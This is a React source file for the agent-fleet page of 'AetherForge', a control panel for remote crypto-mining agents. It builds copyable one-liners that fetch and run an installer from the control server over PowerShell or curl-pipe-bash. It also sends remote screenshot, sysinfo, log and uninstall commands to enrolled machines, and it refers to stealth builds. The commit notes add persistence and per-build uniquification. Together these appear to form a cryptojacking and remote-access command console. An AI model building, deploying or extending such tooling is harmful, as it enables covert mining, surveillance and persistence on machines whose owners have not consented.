Files
AetherForge/server/web/src/pages/AgentsPage.tsx
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

680 lines
28 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample, ServerInfo } from '../types';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import HashrateChart from '../components/Charts/HashrateChart';
import { resolveChartSeries } from '../help/chartSampleData';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import AgentListItem from '../components/Fleet/AgentListItem';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
agentIsIdleMiner,
formatHashrate,
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import { groupsForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
import '../components/Fleet/FleetToolbar.css';
import './Pages.css';
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
const [copied, setCopied] = useState<string | null>(null);
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
const copy = (text: string, key: string) => {
navigator.clipboard.writeText(text).then(() => {
setCopied(key);
setTimeout(() => setCopied(null), 2000);
});
};
const ps1 = `iex (irm '${base}/install.ps1')`;
const sh = `curl -sL ${base}/install.sh | bash`;
const dlWin = `${base}/get?os=windows`;
const dlLin = `${base}/get?os=linux`;
const dlMac = `${base}/get?os=darwin`;
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
{copied === id ? '✓ Copied' : 'Copy'}
</button>
</div>
);
return (
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
<span style={{ fontSize: '1.2rem' }}></span>
<div>
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
<p className="form-hint" style={{ margin: 0 }}>
Run any of these commands on a remote machine the agent downloads itself and connects back automatically.
No files to transfer manually.
</p>
</div>
</div>
<div style={{ marginBottom: '0.75rem' }}>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install &amp; run (auto-launches)</div>
<Row label="Windows" cmd={ps1} id="ps1" />
<Row label="Linux/Mac" cmd={sh} id="sh" />
</div>
<div>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
<Row label="Windows" cmd={dlWin} id="dlw" />
<Row label="Linux" cmd={dlLin} id="dll" />
<Row label="macOS" cmd={dlMac} id="dlm" />
</div>
</NeonCard>
);
}
export default function AgentsPage() {
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [expandedId, setExpandedId] = useState<string | null>(null);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [bulkBusy, setBulkBusy] = useState(false);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
const [logDownloading, setLogDownloading] = useState(false);
const [notesDraft, setNotesDraft] = useState('');
const [tagsDraft, setTagsDraft] = useState('');
const [metaSaving, setMetaSaving] = useState(false);
const [metaMsg, setMetaMsg] = useState('');
const isConnectedRef = useRef(isConnected);
isConnectedRef.current = isConnected;
const screenshotWatchId = useRef<string | null>(null);
const screenshotSeqRef = useRef(0);
const [showGroupModal, setShowGroupModal] = useState(false);
const { groups, addGroup, removeGroup } = useFleetGroups();
const onlineAgentIds = useMemo(
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
[agents]
);
useEffect(() => {
if (!commandResults?.length || !screenshotWatchId.current) return;
const watch = screenshotWatchId.current;
for (const r of commandResults) {
if (r._seq <= screenshotSeqRef.current) continue;
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
screenshotSeqRef.current = r._seq;
screenshotWatchId.current = null;
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
if (r.success && r.message) {
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
} else {
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
}
break;
}
}, [commandResults, agents]);
useEffect(() => {
let cancelled = false;
api.listAgents()
.then((data) => {
if (!cancelled && !isConnectedRef.current) setAgents(data);
})
.catch((err) => {
if (!cancelled) setLoadError(err instanceof Error ? err.message : 'Failed to load agents');
})
.finally(() => {
if (!cancelled) setLoading(false);
});
api.getServerInfo().then(setServerInfo).catch(() => {});
return () => {
cancelled = true;
};
}, []);
useEffect(() => {
if (!selectedAgent) return;
setNotesDraft(selectedAgent.notes || '');
setTagsDraft((selectedAgent.tags || []).join(', '));
}, [selectedAgent?.id]);
useEffect(() => {
if (!isConnected) return;
setAgents(liveAgents);
if (!selectedAgent) return;
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) {
setSelectedAgent(updated);
} else {
setSelectedAgent(null);
setLogContent('');
}
}, [liveAgents, isConnected, selectedAgent?.id]);
useEffect(() => {
if (selectedAgent && agentLogs[selectedAgent.id]) {
setLogContent(agentLogs[selectedAgent.id]);
}
}, [selectedAgent?.id, agentLogs]);
// Sort: online first, then by last_seen desc, then alphabetical
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
if (tb !== ta) return tb - ta;
return a.name.localeCompare(b.name);
}), [agents]);
const filteredAgents = useMemo(
() => filterFleetAgents(sortedAgents, filters),
[sortedAgents, filters]
);
const refreshLog = async (refresh = false) => {
if (!selectedAgent) return;
setLogLoading(true);
try {
const res = await api.getAgentLog(selectedAgent.id, refresh);
setLogContent(res.content || '');
} catch (err) {
setLogContent(err instanceof Error ? err.message : 'Failed to load log');
} finally {
setLogLoading(false);
}
};
const selectAgent = async (agent: Agent) => {
setSelectedAgent(agent);
setNotesDraft(agent.notes || '');
setTagsDraft((agent.tags || []).join(', '));
setMetaMsg('');
setLogContent('');
try {
const history = await api.getAgentStats(agent.id, 60);
setHashrateHistory(history);
} catch (err) {
console.error(err);
}
// Auto-fetch sysinfo so the terminal is pre-populated immediately
if (agent.status === 'online') {
setTimeout(() => {
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
}, 300);
}
};
const saveMeta = async () => {
if (!selectedAgent) return;
setMetaSaving(true);
setMetaMsg('');
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
try {
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
const updated = res.agent;
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
setMetaMsg('Saved');
setTimeout(() => setMetaMsg(''), 2000);
} catch (err) {
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
} finally {
setMetaSaving(false);
}
};
const toggleSelect = useCallback((id: string, on: boolean) => {
setSelectedIds((prev) => {
const next = new Set(prev);
if (on) next.add(id);
else next.delete(id);
return next;
});
}, []);
const handleDeleteAgent = async (agentId: string) => {
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
try {
await api.deleteAgent(agentId);
setAgents((prev) => prev.filter((a) => a.id !== agentId));
if (selectedAgent?.id === agentId) setSelectedAgent(null);
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agentId); return next; });
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const handleUninstallAndDelete = async (agent: Agent) => {
const label = agent.status === 'online'
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
if (!window.confirm(label)) return;
if (agent.status === 'online') {
try {
await api.sendAgentCommand(agent.id, 'uninstall', {});
} catch {
// Non-fatal — proceed to delete the record regardless
}
}
try {
await api.deleteAgent(agent.id);
setAgents((prev) => prev.filter((a) => a.id !== agent.id));
if (selectedAgent?.id === agent.id) setSelectedAgent(null);
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agent.id); return next; });
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const handleBulkAction = async (action: string) => {
const ids = [...selectedIds];
if (ids.length === 0) return;
if (action === 'delete') {
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
setBulkBusy(true);
try {
await api.bulkDeleteAgents(ids);
setAgents((prev) => prev.filter((a) => !ids.includes(a.id)));
if (selectedAgent && ids.includes(selectedAgent.id)) setSelectedAgent(null);
setSelectedIds(new Set());
} catch (err) {
alert(err instanceof Error ? err.message : 'Bulk delete failed');
} finally {
setBulkBusy(false);
}
return;
}
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate (< 100 H/s).');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) {
alert('No online agents in selection.');
return;
}
if (action === 'screenshot') {
if (onlineIds.length !== 1) {
alert('Select exactly one online machine (checkbox) for screenshot.');
return;
}
const id = onlineIds[0];
const label = agents.find((a) => a.id === id)?.name ?? 'agent';
screenshotWatchId.current = id;
if (commandResults?.length) {
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
}
setBulkBusy(true);
try {
const res = await api.sendAgentCommand(id, 'screenshot');
if (res.success === false) {
screenshotWatchId.current = null;
alert(res.error ?? 'Screenshot command rejected');
}
} catch (err) {
screenshotWatchId.current = null;
alert(err instanceof Error ? err.message : 'Screenshot failed');
} finally {
setBulkBusy(false);
}
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} catch (err) {
console.error(err);
alert(err instanceof Error ? err.message : 'Bulk command failed');
} finally {
setBulkBusy(false);
}
};
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
<h1>Fleet Roster</h1>
<p className="page-subtitle">Compact list click a row to expand quick actions or inspect full telemetry on the right.</p>
</div>
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
</header>
<QuickDeployPanel serverInfo={serverInfo} />
{loadError && (
<NeonCard accent="amber" className="empty-state">
<p>{loadError}</p>
</NeonCard>
)}
{loading ? (
<NeonCard accent="brass" className="empty-state">
<p>Scanning network...</p>
</NeonCard>
) : agents.length === 0 ? (
<NeonCard accent="brass" className="empty-state">
<div className="empty-icon"></div>
<h3>No agents registered</h3>
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
</NeonCard>
) : (
<div className="agents-layout">
<div className="agents-list-panel">
<FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}
onCreateGroup={() => setShowGroupModal(true)}
bulkBusy={bulkBusy}
/>
<FleetGroupsStrip
groups={groups}
liveAgentIds={onlineAgentIds}
selectedCount={selectedIds.size}
onSelectGroup={(g) => setSelectedIds(new Set(g.agentIds))}
onDeleteGroup={removeGroup}
onCreateGroup={() => setShowGroupModal(true)}
/>
<div className="agents-list">
{filteredAgents.map((agent) => (
<AgentListItem
key={agent.id}
agent={agent}
selected={selectedAgent?.id === agent.id}
expanded={expandedId === agent.id}
selectable
checked={selectedIds.has(agent.id)}
onCheck={(on) => toggleSelect(agent.id, on)}
onSelect={() => void selectAgent(agent)}
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
commandResults={commandResults}
memberGroups={groupsForAgent(groups, agent.id)}
/>
))}
{filteredAgents.length === 0 && (
<p className="form-hint">No agents match filters.</p>
)}
</div>
</div>
{selectedAgent && (
<NeonCard accent="cyan" className="agent-detail" hud>
<h2 className="font-display">{selectedAgent.name}</h2>
{(selectedAgent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.5rem' }}>
{selectedAgent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="detail-section agent-meta-editor">
<h3>Notes &amp; Tags</h3>
<p className="form-hint">Labels like &quot;Living room PC&quot; or &quot;Rack B&quot; stored on the server, shown on list cards.</p>
<textarea
className="input"
rows={2}
placeholder="Notes about this machine…"
value={notesDraft}
onChange={(e) => setNotesDraft(e.target.value)}
/>
<input
type="text"
className="input mono agent-meta-tags-input"
placeholder="Tags: living-room, rack-b (comma separated)"
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
{metaSaving ? 'Saving…' : 'Save notes & tags'}
</button>
{selectedAgent.status === 'online' && (
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
onClick={() => void handleUninstallAndDelete(selectedAgent)}
title="Send uninstall command to agent, then remove from roster"
>
Uninstall + Delete
</button>
)}
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => void handleDeleteAgent(selectedAgent.id)}
title="Remove this machine from the fleet roster permanently"
>
🗑 Delete from Roster
</button>
</div>
{metaMsg && <span className="form-hint">{metaMsg}</span>}
</div>
<div className="agent-detail-grid">
<div className="detail-item">
<span className="detail-label">Status</span>
<span style={{ display: 'flex', alignItems: 'center', gap: '0.5rem' }}>
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
{selectedAgent.status === 'online' && (
<LatencyBadge ms={selectedAgent.latency_ms} />
)}
</span>
</div>
{selectedAgent.hostname && selectedAgent.hostname !== selectedAgent.name && (
<div className="detail-item">
<span className="detail-label">Hostname</span>
<span className="detail-value mono">{selectedAgent.hostname}</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">Last Seen</span>
<span className="detail-value" title={selectedAgent.last_seen}>
{selectedAgent.last_seen
? new Date(selectedAgent.last_seen).toLocaleString()
: '—'}
</span>
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
</div>
<div className="detail-item">
<span className="detail-label">IP Address</span>
<span className="detail-value">{selectedAgent.ip}</span>
</div>
<div className="detail-item">
<span className="detail-label">Version</span>
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
</div>
{(selectedAgent.platform || selectedAgent.os_version) && (
<div className="detail-item">
<span className="detail-label">Platform</span>
<span className="detail-value">
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
{selectedAgent.os_version ? `${selectedAgent.os_version}` : ''}
</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">CPU Cores</span>
<span className="detail-value">{selectedAgent.cpu_cores}</span>
</div>
<div className="detail-item">
<span className="detail-label">Memory</span>
<span className="detail-value">{selectedAgent.memory_gb} GB</span>
</div>
<div className="detail-item">
<span className="detail-label">CPU Usage</span>
<span className="detail-value">{selectedAgent.cpu_usage_pct.toFixed(1)}%</span>
</div>
<div className="detail-item">
<span className="detail-label">Uptime</span>
<span className="detail-value">{formatUptime(selectedAgent.uptime_seconds)}</span>
</div>
</div>
<div className="detail-section">
<h3>Hashrate</h3>
<div className="hashrate-detail-grid">
<div className="hashrate-item">
<span className="detail-label">15s</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15s)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">1m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_1m)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">15m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15m)}</span>
</div>
</div>
</div>
<div className="detail-section">
<h3>Shares</h3>
<div className="shares-detail-grid">
<div className="share-stat good">
<span className="share-count">{selectedAgent.shares_good}</span>
<span className="share-label">Accepted</span>
</div>
<div className="share-stat bad">
<span className="share-count">{selectedAgent.shares_bad}</span>
<span className="share-label">Rejected</span>
</div>
<div className="share-stat total">
<span className="share-count">{selectedAgent.shares_total}</span>
<span className="share-label">Total</span>
</div>
</div>
</div>
{selectedAgent && (
<div className="detail-section">
<h3 className="font-tech">HASHRATE TELEMETRY</h3>
{(() => {
const live = [...hashrateHistory].reverse().map((s) => ({
time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate,
}));
const chart = resolveChartSeries(live, 'hashrate', {
tailValue: selectedAgent.hashrate_15m,
});
return (
<HashrateChart
title=""
color="#00f5ff"
unit="H/s"
height={240}
data={chart.data}
displayMode={chart.mode}
/>
);
})()}
</div>
)}
<div className="detail-section">
<h3>Remote Control</h3>
{selectedAgent.status !== 'online' && (
<p className="form-hint">Agent is offline remote actions are disabled until it reconnects.</p>
)}
<AgentRemoteActions
agent={selectedAgent}
online={selectedAgent.status === 'online'}
commandResults={commandResults}
showLiveStats
onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true);
}}
/>
</div>
<div className="detail-section">
<h3>
Agent Log{' '}
<button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button>
<button
type="button"
className="agent-action-btn"
disabled={logDownloading || selectedAgent.status !== 'online'}
title="Download full agent log as a file"
style={{ marginLeft: '0.4rem' }}
onClick={async () => {
setLogDownloading(true);
try {
await api.downloadAgentLog(selectedAgent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Download failed');
} finally {
setLogDownloading(false);
}
}}
>
{logDownloading ? '…' : '⬇ Download'}
</button>
</h3>
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
</div>
</NeonCard>
)}
</div>
)}
<CreateGroupModal
open={showGroupModal}
agentCount={selectedIds.size}
onClose={() => setShowGroupModal(false)}
onCreate={(name, color) => {
addGroup(name, color, [...selectedIds]);
setShowGroupModal(false);
}}
/>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}